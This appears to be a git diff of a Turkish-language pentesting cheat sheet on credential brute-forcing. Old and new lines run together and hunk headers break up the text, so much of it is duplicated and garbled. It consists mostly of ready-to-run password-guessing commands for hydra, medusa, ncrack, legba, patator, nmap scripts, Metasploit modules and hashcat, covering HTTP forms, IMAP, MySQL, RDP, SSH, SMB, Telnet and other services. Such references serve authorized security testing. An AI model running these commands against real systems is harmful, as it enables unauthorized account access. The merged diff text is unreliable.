To prevent brute force attacks, web applications can implement measures such as account lockout after multiple failed login attempts, CAPTCHA challenges, and enforcing strong password policies.
```bash ```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for https # Use https-post-form mode for https
``` ```
### **HTTP - CMS --** (W)ordpress, (J)oomla veya (D)rupal veya (M)oodle için "http-post-form"dan "**https-post-form"**'a değiştirmeniz gerekmektedir. ### **HTTP - CMS --** (W)ordpress, (J)oomla veya (D)rupal veya (M)oodle
http**s** için "http-post-form"dan "**https-post-form"**'a değiştirmeniz gerekmektedir.
```bash ```bash
cmsmap -f W/J/D/M -u a -p a https://wordpress.com cmsmap -f W/J/D/M -u a -p a https://wordpress.com
# Check also https://github.com/evilsocket/legba/wiki/HTTP # Check also https://github.com/evilsocket/legba/wiki/HTTP
``` ```
### IMAP ### IMAP
IMAP, Internet Mesaj Erişim Protokolü'nü ifade eder. IMAP sunucularına karşı brute force saldırıları genellikle kullanıcı adı ve şifre kombinasyonlarını denemek için gerçekleştirilir. Bu saldırılar, oturum açma bilgilerini elde etmek ve hassas e-posta verilerine erişmek amacıyla gerçekleştirilir. Saldırganlar genellikle oturum açma sayısını sınırlamak ve oturum açma girişimlerini geciktirmek için çeşitli teknikler kullanırlar. IMAP (Internet Message Access Protocol) is a standard email protocol that stores email messages on a mail server. IMAP allows an email client to access email on the server as if they were stored locally.
```bash ```bash
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
@ -233,7 +221,7 @@ legba imap --username user --password data/passwords.txt --target localhost:993
``` ```
### IRC ### IRC
IRC, Internet Relay Chat, eski ama hala popüler bir iletişim protokolüdür. Brute force saldırıları genellikle IRC sunucularına karşı gerçekleştirilir. Kullanıcı adı ve şifre kombinasyonlarını denemek için kullanılır. Bu tür saldırılar genellikle oturum açma sayfasına karşı gerçekleştirilir. IRC, Internet Relay Chat, eski bir iletişim protokolüdür. Brute force saldırıları genellikle IRC sunucularına karşı kullanılır. Kullanıcı adı ve şifre kombinasyonlarını denemek için genellikle kullanılır. Bu tür saldırılar, oturum açma ekranlarında veya IRC sunucularına erişim sağlamak için kullanılan diğer arayüzlerde etkili olabilir.
```bash ```bash
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP> nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
``` ```
@ -245,11 +233,7 @@ nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/va
``` ```
### JWT ### JWT
JWT, JSON Web Token, an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed. JWTs can be signed using a secret (with the HMAC algorithm) or a public/private key pair using RSA or ECDSA. JWT, JSON Web Token, anlamına gelir. JWT'ler, verileri güvenli bir şekilde taşımak için kullanılan bir standarttır. JWT'ler, üç bölümden oluşur: başlık, yük ve imza. Başlık, JWT'nin türünü ve kullanılan algoritmayı belirtir. Yük, JWT'nin taşıdığı verileri içerir. İmza ise JWT'nin doğruluğunu doğrulamak için kullanılan bir değerdir. JWT'ler genellikle kimlik doğrulama ve yetkilendirme işlemlerinde kullanılır.
### JWT
JWT, JSON Web Token, bir JSON nesnesi olarak bilgilerin güvenli bir şekilde taraflar arasında iletilmesini tanımlayan kompakt ve kendi kendine yeterli bir yol olan açık bir standarttır (RFC 7519). Bu bilgiler dijital olarak imzalandığı için doğrulanabilir ve güvenilirdir. JWT'ler, HMAC algoritması kullanılarak bir sır ile veya RSA veya ECDSA kullanılarak bir genel/özel anahtar çifti ile imzalanabilir.
```bash ```bash
#hashcat #hashcat
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt
@ -274,14 +258,14 @@ jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibm
``` ```
### LDAP ### LDAP
LDAP, Hafif Dizin Erişim Protokolü anlamına gelir. LDAP sunucularına karşı brute force saldırıları genellikle kullanıcı adı ve şifre kombinasyonlarını denemek için gerçekleştirilir. Bu saldırılar, genellikle kullanıcı kimlik bilgilerini elde etmek veya yetkisiz erişim elde etmek amacıyla gerçekleştirilir. LDAP brute force saldırıları, güvenlik açıklarını tespit etmek ve kapatmak için yapılan güvenlik testlerinin bir parçası olarak kullanılabilir. LDAP, Hafif Dizin Erişim Protokolü anlamına gelir. Bir saldırgan, LDAP sunucusuna erişmek için kaba kuvvet saldırısı yapabilir. Bu saldırı türü, kullanıcı adı ve şifre kombinasyonlarını deneyerek doğru kimlik bilgilerini bulmaya çalışır. Bu saldırı türü genellikle oturum açma sayfalarında veya kimlik doğrulama gerektiren diğer alanlarda kullanılır.
```bash ```bash
nmap --script ldap-brute -p 389 <IP> nmap --script ldap-brute -p 389 <IP>
legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match
``` ```
### MQTT ### MQTT
MQTT, Message Queuing Telemetry Transport, is a lightweight messaging protocol that is widely used for IoT devices. MQTT operates on top of the TCP/IP protocol, making it suitable for remote locations with limited bandwidth. MQTT uses a publish/subscribe model, where clients can publish messages to a central broker and subscribe to receive messages on specific topics. This protocol is vulnerable to brute force attacks, where an attacker tries to guess the username and password to gain unauthorized access to the MQTT broker. Implementing strong authentication mechanisms and using secure passwords can help mitigate the risk of brute force attacks on MQTT. MQTT, Message Queuing Telemetry Transport, is a lightweight messaging protocol that is widely used in IoT devices for communication. MQTT operates on a publish/subscribe model, where clients can publish messages to a broker and subscribe to receive messages on specific topics. This protocol is known for its efficiency and low bandwidth usage, making it ideal for IoT applications.
``` ```
ncrack mqtt://127.0.0.1 --user test P /root/Desktop/pass.txt -v ncrack mqtt://127.0.0.1 --user test P /root/Desktop/pass.txt -v
legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt
@ -291,10 +275,12 @@ legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwor
Mongo veritabanı sunucusuna brute force saldırısı yapmak için Hydra aracını kullanabilirsiniz. Aşağıdaki komutu kullanarak saldırıyı gerçekleştirebilirsiniz: Mongo veritabanı sunucusuna brute force saldırısı yapmak için Hydra aracını kullanabilirsiniz. Aşağıdaki komutu kullanarak saldırıyı gerçekleştirebilirsiniz:
```plaintext ```plaintext
hydra -l <kullanıcı_adı> -P <şifre_listesi> <hedef_ip> mongodb hydra -l <username> -P <wordlist> <ip_address> mongodb
``` ```
Bu komut, belirtilen kullanıcı adı ve şifre listesini kullanarak Mongo veritabanı sunucusuna brute force saldırısı yapacaktır. - `<username>`: Hedef veritabanı sunucusunda denemek istediğiniz kullanıcı adı
- `<wordlist>`: Kullanılacak şifre listesi dosyasının yolu
- `<ip_address>`: Hedef veritabanı sunucusunun IP adresi
```bash ```bash
nmap -sV --script mongodb-brute -n -p 27017 <IP> nmap -sV --script mongodb-brute -n -p 27017 <IP>
use auxiliary/scanner/mongodb/mongodb_login use auxiliary/scanner/mongodb/mongodb_login
@ -302,13 +288,29 @@ legba mongodb --target localhost:27017 --username root --password data/passwords
``` ```
### MSSQL ### MSSQL
Brute-force attacks against MSSQL servers can be carried out using tools like **MSSQLP**. This tool allows you to perform password guessing against MSSQL servers. It is important to note that brute-forcing attacks should only be conducted against systems that you own or have explicit permission to test. #### Brute Force
Brute force is a common technique used to gain unauthorized access to MSSQL databases. Attackers use automated tools to systematically try all possible combinations of usernames and passwords until the correct one is found. This method can be time-consuming but is often successful if weak credentials are used. It is important to use strong, complex passwords and implement account lockout policies to protect against brute force attacks.
```bash ```bash
legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433 legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433
``` ```
### MySQL ### MySQL
MySQL, bir veritabanı yönetim sistemidir ve birçok web uygulamasında kullanılır. MySQL veritabanına brute force saldırıları genellikle kullanıcı adı ve şifre kombinasyonlarını deneyerek gerçekleştirilir. Bu saldırılar, oturum açma sayfasına doğrudan erişim sağlayarak veya API'ler aracılığıyla gerçekleştirilebilir. Saldırganlar genellikle oturum açma sayfasına doğrudan erişim sağlamak için otomatik araçlar kullanır. #### Brute Force
Brute force is a common technique used to gain unauthorized access to a system by trying all possible combinations of usernames and passwords until the correct one is found. In the context of MySQL, brute force attacks can be used to crack the login credentials of MySQL databases.
#### Prevention
To prevent brute force attacks on MySQL databases, you can take the following measures:
1. **Strong Passwords**: Use complex and unique passwords for MySQL accounts to make it harder for attackers to guess them.
2. **Limit Login Attempts**: Implement mechanisms to limit the number of login attempts allowed within a certain time frame.
3. **Two-Factor Authentication**: Enable two-factor authentication for MySQL accounts to add an extra layer of security.
4. **Network Security**: Secure the network to prevent unauthorized access to the MySQL server.
5. **Regular Monitoring**: Monitor MySQL logs and server activity for any suspicious login attempts.
By implementing these preventive measures, you can significantly reduce the risk of unauthorized access to your MySQL databases through brute force attacks.
```bash ```bash
# hydra # hydra
hydra -L usernames.txt -P pass.txt <IP> mysql hydra -L usernames.txt -P pass.txt <IP> mysql
@ -324,7 +326,7 @@ legba mysql --username root --password wordlists/passwords.txt --target localhos
``` ```
### OracleSQL ### OracleSQL
Brute-force attacks against Oracle databases can be performed using tools like Hydra or custom scripts. These attacks involve trying multiple username and password combinations until the correct one is found. It is important to note that brute-force attacks can be time-consuming and may trigger account lockout mechanisms if too many failed attempts are made. Brute force is a technique used to gain unauthorized access to a system by trying all possible combinations of usernames and passwords until the correct one is found. In the context of OracleSQL, brute force attacks can be used to crack passwords and gain access to Oracle databases. These attacks can be automated using tools like Hydra or Medusa, which can try thousands of combinations in a short amount of time. It is important to use strong, complex passwords and implement other security measures to protect against brute force attacks.
```bash ```bash
patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017 patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
@ -358,7 +360,7 @@ nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid
``` ```
### POP ### POP
POP, kullanıcı adı ve şifre kombinasyonlarını deneyerek bir hedefe erişmeye çalışan bir brute force saldırı türüdür. Bu saldırı genellikle zayıf şifrelerin veya tekrarlanan şifrelerin bulunduğu durumlarda etkili olabilir. Saldırganlar genellikle oturum açma formlarını veya API'leri hedef alarak POP saldırılarını gerçekleştirirler. POP, kullanıcı adı ve şifre kombinasyonlarını deneyerek bir hedefe erişmeye çalışan bir brute force saldırı türüdür. Bu saldırı türü genellikle zayıf şifrelerin veya kötü güvenlik uygulamalarının hedef alındığı durumlarda kullanılır.
```bash ```bash
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
@ -371,7 +373,7 @@ legba pop3 --username admin@example.com --password wordlists/passwords.txt --tar
``` ```
### PostgreSQL ### PostgreSQL
PostgreSQL, açık kaynaklı bir ilişkisel veritabanı yönetim sistemi (RDBMS) olup, genellikle web uygulamaları ve veri depolama alanlarında kullanılmaktadır. Brute force saldırıları, genellikle zayıf veya sızdırılmış şifrelerin bulunması için kullanılan etkili bir yöntemdir. Bu saldırı türü, oturum açma sayfasına doğrudan erişerek veya oturum açma isteklerini doğrudan göndererek gerçekleştirilebilir. Saldırganlar, oturum açma sayfasına doğrudan erişerek veya oturum açma isteklerini doğrudan göndererek şifre kombinasyonlarını deneyerek hedef PostgreSQL veritabanına erişmeye çalışabilirler. Bu tür saldırılar, güvenlik açıklarını tespit etmek ve kapatmak için önemli bir test yöntemi olarak kullanılabilir. PostgreSQL, açık kaynaklı bir ilişkisel veritabanı yönetim sistemi (RDBMS) olup, genellikle web uygulamaları ve büyük veri depolama sistemlerinde kullanılmaktadır. PostgreSQL veritabanlarına brute force saldırıları genellikle kullanıcı adı ve şifre kombinasyonlarını deneyerek gerçekleştirilir. Bu saldırı türü, oturum açma sayfasına doğrudan erişim sağlayarak veya API aracılığıyla gerçekleştirilebilir. Saldırganlar, oturum açma sayfasına doğrudan erişim sağlamak için otomatik araçlar kullanabilir veya API'yi hedef alarak oturum açma isteklerini otomatikleştirebilirler. Bu tür saldırılar genellikle zayıf şifrelerin veya kötü yapılandırılmış erişim kontrollerinin sömürülmesiyle gerçekleştirilir. PostgreSQL veritabanlarınızı brute force saldırılarına karşı korumak için güçlü ve karmaşık şifreler kullanmanız, erişim kontrollerini düzgün bir şekilde yapılandırmanız ve güvenlik en iyi uygulamalarını takip etmeniz önemlidir.
```bash ```bash
hydra -L /root/Desktop/user.txt P /root/Desktop/pass.txt <IP> postgres hydra -L /root/Desktop/user.txt P /root/Desktop/pass.txt <IP> postgres
medusa -h <IP> U /root/Desktop/user.txt P /root/Desktop/pass.txt M postgres medusa -h <IP> U /root/Desktop/user.txt P /root/Desktop/pass.txt M postgres
@ -383,16 +385,25 @@ legba pgsql --username admin --password wordlists/passwords.txt --target localho
``` ```
### PPTP ### PPTP
`.deb` paketini kurmak için [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/) adresinden indirebilirsiniz. `.deb` paketini indirmek için [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/) adresine gidebilirsiniz.
```bash ```bash
sudo dpkg -i thc-pptp-bruter*.deb #Install the package sudo dpkg -i thc-pptp-bruter*.deb #Install the package
cat rockyou.txt | thc-pptp-bruter u <Username> <IP> cat rockyou.txt | thc-pptp-bruter u <Username> <IP>
``` ```
### RDP ### RDP
### Kaba Kuvvet Saldırısı #### Brute Force
Kaba kuvvet saldırısı, bir şifreleme anahtarını veya parolasını bulmak için tüm olası kombinasyonları deneyen bir saldırı türüdür. Bu saldırı türü, RDP sunucularına erişmek için kullanılabilir ve genellikle oturum açma ekranında kullanıcı adı ve şifre kombinasyonlarını denemek için kullanılır. Bu saldırı türü, güçlü ve karmaşık şifreler kullanılarak savunulabilir. Brute force is a common method used to gain unauthorized access to RDP servers. Attackers use automated tools to try all possible username and password combinations until the correct one is found. This method can be effective if strong passwords are not used. It is important to use complex and unique passwords to protect RDP servers from brute force attacks.
#### Protection
To protect RDP servers from brute force attacks, it is recommended to:
- Use complex and unique passwords
- Implement account lockout policies
- Use multi-factor authentication
- Limit the number of login attempts
- Monitor RDP logs for suspicious activity
```bash ```bash
ncrack -vv --user <User> -P pwds.txt rdp://<IP> ncrack -vv --user <User> -P pwds.txt rdp://<IP>
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP> hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
@ -400,7 +411,7 @@ legba rdp --target localhost:3389 --username admin --password data/passwords.txt
``` ```
### Redis ### Redis
Redis, bir anahtar-değer veritabanıdır ve genellikle oturum yönetimi ve önbellekleme için kullanılır. Redis sunucuları, varsayılan olarak şifre korumalı değildir ve genellikle varsayılan şifrelerle yapılandırılır. Brute force saldırıları, bu varsayılan şifrelerin zayıf olduğu durumlarda Redis sunucularına erişmek için kullanılabilir. Bu saldırılar, oturum bilgilerini çalmak veya kötü amaçlı yazılım enjekte etmek gibi zararlı faaliyetlerde bulunmak için kullanılabilir. Redis, ık kaynaklı, in-memory veri yapısıyla çalışan bir veritabanı yönetim sistemidir. Redis sunucularına brute force saldırıları, genellikle zayıf şifreler veya güvenlik açıklarından kaynaklanan saldırılardır. Bu tür saldırılar, oturum açma sayısını artırarak veya şifre kombinasyonlarını deneyerek Redis sunucusuna yetkisiz erişim sağlamayı amaçlar. Bu tür saldırılara karşı korunmak için güçlü ve karmaşık şifreler kullanılmalı ve güvenlik en iyi uygulamaları takip edilmelidir.
```bash ```bash
msf> use auxiliary/scanner/redis/redis_login msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379 <IP> nmap --script redis-brute -p 6379 <IP>
@ -409,19 +420,19 @@ legba redis --target localhost:6379 --username admin --password data/passwords.t
``` ```
### Rexec ### Rexec
Rexec, Remote Execution, is a service that allows a user to execute commands on a remote system. This service is often targeted during brute force attacks to gain unauthorized access to the remote system. Rexec, kaba kuvvet saldırıları için kullanılan bir protokol ve servistir. Rexec, kullanıcı kimlik doğrulaması için standart UNIX kimlik doğrulama protokolünü kullanır. Bu protokol, kullanıcı adı ve şifre gibi kimlik bilgilerini doğrulamak için kullanılır.
```bash ```bash
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
``` ```
### Rlogin ### Rlogin
Rlogin, Remote Login'ın kısaltmasıdır ve UNIX tabanlı sistemlerde uzak bir makineye erişmek için kullanılan bir protokoldür. Brute force saldırıları genellikle rlogin protokolü üzerinde gerçekleştirilir. Bu saldırıda, saldırgan rlogin hedefine bir dizi kullanıcı adı ve şifre kombinasyonu gönderir, genellikle oturum açma bilgilerini elde etmek için. Rlogin, Remote Login, is a service that allows users to log in to a remote system over a network. It is a protocol that transmits login information in plain text, making it vulnerable to interception. Brute force attacks can be used to guess passwords and gain unauthorized access to remote systems.
```bash ```bash
hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
``` ```
### Rsh ### Rsh
Rsh, yani "Remote Shell", bir hedef sistemde bir kabuk açmak için kullanılan bir protokoldür. Brute force saldırıları genellikle Rsh protokolünü hedef alır. Bu saldırılar, genellikle kullanıcı adı ve şifre kombinasyonlarını deneyerek hedef sisteme erişmeye çalışırlar. Bu tür saldırılar genellikle güvenlik zafiyetlerinden yararlanarak gerçekleştirilir. Rsh, Remote Shell, is a simple remote shell client included in most Unix-like operating systems. It can be used to execute commands on a remote system. Rsh is often used in brute force attacks to guess passwords.
```bash ```bash
hydra -L <Username_list> rsh://<Victim_IP> -v -V hydra -L <Username_list> rsh://<Victim_IP> -v -V
``` ```
@ -429,19 +440,21 @@ hydra -L <Username_list> rsh://<Victim_IP> -v -V
### Rsync ### Rsync
Rsync, bir dosya senkronizasyon ve transfer aracıdır. Dosyaları yerel ve uzak sistemler arasında senkronize etmek için kullanılır. ### Rsync
Brute force attack using Rsync.
```bash ```bash
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP> nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>
``` ```
### RTSP ### RTSP
RTSP, Gerçek Zamanlı Akış Protokolü anlamına gelir. RTSP, medya akışı için bir iletişim protokolüdür. Medya sunucusundan medya istemcisine veri akışını kontrol etmek için kullanılır. Medya akışı için RTSP protokolünü kırmak için brute force saldırıları kullanılabilir. ### RTSP
```bash ```bash
hydra -l root -P passwords.txt <IP> rtsp hydra -l root -P passwords.txt <IP> rtsp
``` ```
### SFTP ### SFTP
SFTP, **Secure File Transfer Protocol**'un kısaltmasıdır. SFTP, dosya transferi için güvenli bir protokoldür. SFTP brute force saldırılarına karşı savunmasız olabilir. Saldırganlar, kullanıcı adı ve şifre kombinasyonlarını deneyerek sisteme erişmeye çalışabilirler. Bu tür saldırılara karşı korunmak için güçlü ve karmaşık şifreler kullanılmalı ve giriş denemelerinin sınırlandırılması önerilir. SFTP, **SSH File Transfer Protocol**'ün kısaltmasıdır. SFTP, dosya transferi için güvenli bir protokoldür. Saldırganlar, zayıf şifreler veya zayıf kimlik doğrulama yöntemleri kullanarak SFTP sunucularına erişmeye çalışabilir. Brute force saldırıları, saldırganların SFTP sunucularına erişmek için denemeler yaparak şifreleri kırma yöntemidir. Güçlü ve karmaşık şifreler kullanarak SFTP sunucularını brute force saldırılarına karşı koruyabilirsiniz.
```bash ```bash
legba sftp --username admin --password wordlists/passwords.txt --target localhost:22 legba sftp --username admin --password wordlists/passwords.txt --target localhost:22
# Try keys from a folder # Try keys from a folder
@ -449,7 +462,7 @@ legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --tar
``` ```
### SNMP ### SNMP
### SNMP SNMP, yani Basit Ağ Yönetim Protokolü, ağ cihazlarını izlemek, yönetmek ve bilgi toplamak için kullanılan bir protokoldür. SNMP brute force saldırıları, genellikle varsayılan topluluk dizesi gibi zayıf kimlik doğrulama bilgilerini kullanarak SNMP hizmetine erişmeye çalışır. Bu saldırılar, ağ cihazlarına yetkisiz erişim sağlayabilir ve ağ güvenliğini tehlikeye atabilir.
```bash ```bash
msf> use auxiliary/scanner/snmp/snmp_login msf> use auxiliary/scanner/snmp/snmp_login
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ] nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
@ -459,6 +472,12 @@ hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt ta
### SMB ### SMB
### SMB ### SMB
SMB, **Server Message Block**, is a network protocol used for sharing files, printers, and other resources on a network. It operates over TCP ports 139 and 445.
### SMB
SMB, **Sunucu İleti Bloğu**, bir ağ protokolüdür ve ağ üzerinde dosyaları, yazıcıları ve diğer kaynakları paylaşmak için kullanılır. TCP bağlantı noktaları 139 ve 445 üzerinden çalışır.
```bash ```bash
nmap --script smb-brute -p 445 <IP> nmap --script smb-brute -p 445 <IP>
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1 hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
@ -466,7 +485,7 @@ legba smb --target share.company.com --username admin --password data/passwords.
``` ```
### SMTP ### SMTP
Simple Mail Transfer Protocol (Basit Posta Aktarım Protokolü) sunucularına erişmek için kullanılan bir brute force saldırısı, genellikle kullanıcı adı ve şifre kombinasyonlarını denemek için kullanılır. Bu saldırı, bir saldırganın yetkisiz erişim elde etmesine ve istenmeyen e-postalar göndermesine olanak tanır. Simple Mail Transfer Protocol (Basit Posta Aktarım Protokolü) olarak bilinen SMTP, e-posta iletilerinin iletilmesi için kullanılan standart bir ileti aktarım protokolüdür.
```bash ```bash
hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
@ -474,7 +493,7 @@ legba smtp --username admin@example.com --password wordlists/passwords.txt --tar
``` ```
### SOCKS ### SOCKS
SOCKS, yani "Socket Secure", bir ağ protokolüdür ve genellikle güvenli bir şekilde ağ trafiğini yönlendirmek için kullanılır. SOCKS sunucuları, ağ trafiğini yönlendirmek ve gizlemek için kullanılabilir. Bu, bir hedefe erişmek için farklı bir IP adresi kullanmak isteyen saldırganlar için yararlı olabilir. SOCKS, yani "Socket Secure", ağ üzerinde güvenli bir şekilde dolaşmanıza olanak tanıyan bir protokoldür. SOCKS sunucuları, ağ trafiğini yönlendirmek için kullanılabilir ve genellikle proxy hizmetleri için tercih edilir. Bu protokol, IP adresinizi gizleyerek ve kimlik doğrulama sağlayarak anonimliği artırabilir.
```bash ```bash
nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP> nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt legba socks5 --target localhost:1080 --username admin --password data/passwords.txt
@ -483,7 +502,7 @@ legba socks5 --target localhost:1080 --username admin --password data/passwords.
``` ```
### SQL Server ### SQL Server
SQL Server, Microsoft'un ilişkisel veritabanı yönetim sistemidir. SQL Server'a karşı brute force saldırıları genellikle SQL Server Authentication modunda gerçekleştirilir. Bu saldırılar, kullanıcı adı ve şifre kombinasyonlarını deneyerek SQL Server'a erişmeye çalışır. Saldırganlar genellikle otomatik araçlar kullanarak bu tür saldırıları gerçekleştirirler. SQL Server brute force saldırılarına karşı korunmak için karmaşık ve güçlü şifreler kullanılmalı ve hesap kitlenme politikaları etkinleştirilmelidir. SQL Server, Microsoft'un ilişkisel veritabanı yönetim sistemidir. SQL Server veritabanlarına brute force saldırıları genellikle SQL Injection saldırılarıyla birlikte gerçekleştirilir. Brute force saldırıları, genellikle zayıf veya tahmin edilebilir parolaları deneyerek SQL Server veritabanına yetkisiz erişim elde etmeyi amaçlar. Bu tür saldırılar genellikle otomatik araçlar kullanılarak gerçekleştirilir ve güvenlik açıklarını tespit etmek için kullanılır.
```bash ```bash
#Use the NetBIOS name of the machine as domain #Use the NetBIOS name of the machine as domain
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
@ -494,7 +513,7 @@ msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts
``` ```
### SSH ### SSH
SSH, Secure Shell olarak da bilinir, ağ protokollerini güvenli bir şekilde yönetmek için kullanılır. SSH brute force saldırıları, genellikle şifre deneme saldırıları yaparak SSH sunucularına yetkisiz erişim sağlamak için kullanılır. Bu saldırı türü, oturum açma ekranına erişmek için genellikle otomatik araçlar kullanır. Saldırganlar, genellikle şifre listeleri veya rastgele şifre kombinasyonları kullanarak oturum açma ekranına erişmeye çalışırlar. Bu tür saldırılara karşı koymak için güçlü ve karmaşık şifreler kullanılmalı ve oturum açma denemelerini sınırlayan önlemler alınmalıdır. SSH, Secure Shell'in kısaltmasıdır. SSH brute force saldırıları, genellikle şifre deneme saldırıları kullanılarak gerçekleştirilir. Saldırganlar, SSH sunucusuna erişmek için farklı şifre kombinasyonlarını deneyerek giriş yapmaya çalışırlar. Bu saldırı türü, güvenlik duvarı ve diğer güvenlik önlemleri tarafından tespit edilmesi zor olabilir, bu nedenle saldırganlar için popüler bir seçenektir. Saldırganlar genellikle otomatik araçlar kullanarak büyük bir şifre listesini hızla deneyerek başarılı bir giriş elde etmeye çalışırlar. Bu tür saldırılara karşı koymak için güçlü ve benzersiz şifreler kullanılmalı ve giriş denemelerini sınırlamak için gerekli önlemler alınmalıdır.
```bash ```bash
hydra -l root -P passwords.txt [-t 32] <IP> ssh hydra -l root -P passwords.txt [-t 32] <IP> ssh
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5] ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
@ -510,13 +529,13 @@ Bazı sistemler, kriptografik materyal oluşturmak için kullanılan rastgele to
### STOMP (ActiveMQ, RabbitMQ, HornetQ ve OpenMQ) ### STOMP (ActiveMQ, RabbitMQ, HornetQ ve OpenMQ)
STOMP metin protokolü, RabbitMQ, ActiveMQ, HornetQ ve OpenMQ gibi popüler mesaj sıralama hizmetleriyle sorunsuz iletişim ve etkileşim sağlayan **geniş çapta kullanılan bir mesajlaşma protokolüdür**. Mesajları değiş tokuş etmek ve çeşitli mesajlaşma işlemlerini gerçekleştirmek için standartlaştırılmış ve verimli bir yaklaşım sunar. STOMP metin protokolü, RabbitMQ, ActiveMQ, HornetQ ve OpenMQ gibi popüler mesaj sıralama hizmetleriyle sorunsuz iletişim ve etkileşim sağlayan yaygın olarak kullanılan bir iletişim protokolüdür. Mesajları değiş tokuş etmek ve çeşitli mesajlaşma işlemlerini gerçekleştirmek için standartlaştırılmış ve verimli bir yaklaşım sunar.
```bash ```bash
legba stomp --target localhost:61613 --username admin --password data/passwords.txt legba stomp --target localhost:61613 --username admin --password data/passwords.txt
``` ```
### Telnet ### Telnet
Telnet, ağı üzerindeki diğer cihazlara erişmek için kullanılan bir protokoldür. Genellikle TCP üzerinden 23 numaralı bağlantı noktasını kullanır. Telnet, metin tabanlı bir protokol olduğundan, veriler açık metin olarak iletilir ve bu da güvenlik riski oluşturabilir. Güvenliği zayıf olduğu için günümüzde genellikle tercih edilmemektedir. Telnet, ağ üzerindeki diğer cihazlara erişmek için kullanılan bir protokoldür. Brute force saldırıları genellikle zayıf şifrelerle korunan Telnet sunucularına karşı kullanılır. Saldırganlar, oturum açma ekranına erişmek için farklı şifre kombinasyonlarını deneyerek sisteme erişmeye çalışırlar. Bu saldırı türü, güvenlik açığına sahip sistemlere erişmek için etkili olabilir.
```bash ```bash
hydra -l root -P passwords.txt [-t 32] <IP> telnet hydra -l root -P passwords.txt [-t 32] <IP> telnet
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5] ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
@ -535,7 +554,7 @@ legba telnet \
#### Brute Force #### Brute Force
